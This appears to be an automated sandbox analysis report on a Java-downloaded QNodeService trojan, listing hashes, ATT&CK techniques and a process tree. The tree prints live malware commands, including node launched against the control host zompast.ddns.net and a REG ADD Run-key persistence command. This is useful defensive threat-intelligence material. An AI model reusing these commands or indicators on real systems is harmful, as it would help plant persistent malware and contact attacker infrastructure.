qnodeservice | 0e2556356638079a13e6443f62c06be6e509d4c59433a06c5f76191e21f6bb5e

General

Target

Shipment_774994746621.jar
Size

79KB
MD5

ea5c41d0235e11dacea16eda175971de
SHA1

a7a958b3ae234cd68b3dcf08bd08740f3c19d11f
SHA256

0e2556356638079a13e6443f62c06be6e509d4c59433a06c5f76191e21f6bb5e
SHA512

a14e158ded6f12fcd6b66ebf761e802d54a5d52638e02e8529868a1b0efcfc9867be4180ed5b29c490ea2d14b43a8ac984ce69a75f82e8c4cb5f9de823235102

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3492	node.exe
3892	node.exe
3172	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\aee26a4c-2e38-4001-b259-261c48c3a4ad = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001aba0-162.dat	js
behavioral2/files/0x000100000001aba0-165.dat	js
behavioral2/files/0x000100000001aba0-169.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3492	node.exe
3492	node.exe
3492	node.exe
3492	node.exe
3892	node.exe
3892	node.exe
3892	node.exe
3892	node.exe
3172	node.exe
3172	node.exe
3172	node.exe
3172	node.exe
3172	node.exe
3172	node.exe
3172	node.exe
3172	node.exe
3172	node.exe
3172	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 640 wrote to memory of 1112	640	java.exe	76
PID 640 wrote to memory of 1112	640	java.exe	76
PID 1112 wrote to memory of 3492	1112	javaw.exe	80
PID 1112 wrote to memory of 3492	1112	javaw.exe	80
PID 3492 wrote to memory of 3892	3492	node.exe	82
PID 3492 wrote to memory of 3892	3492	node.exe	82
PID 3892 wrote to memory of 3172	3892	node.exe	83
PID 3892 wrote to memory of 3172	3892	node.exe	83
PID 3172 wrote to memory of 4024	3172	node.exe	85
PID 3172 wrote to memory of 4024	3172	node.exe	85
PID 4024 wrote to memory of 3664	4024	cmd.exe	86
PID 4024 wrote to memory of 3664	4024	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Shipment_774994746621.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:640
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\236cdc48.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1112
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain zompast.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3492
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Qly135\boot.js --hub-domain zompast.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3892
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Qly135\boot.js --hub-domain zompast.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3172
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aee26a4c-2e38-4001-b259-261c48c3a4ad" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4024
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aee26a4c-2e38-4001-b259-261c48c3a4ad" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3172-170-0x000003F9615C0000-0x000003F9615C1000-memory.dmp

Filesize
4KB

Download
memory/3492-163-0x0000010FFFA80000-0x0000010FFFA81000-memory.dmp

Filesize
4KB

Download
memory/3892-166-0x0000015FAD200000-0x0000015FAD201000-memory.dmp

Filesize
4KB

Download

Analysis

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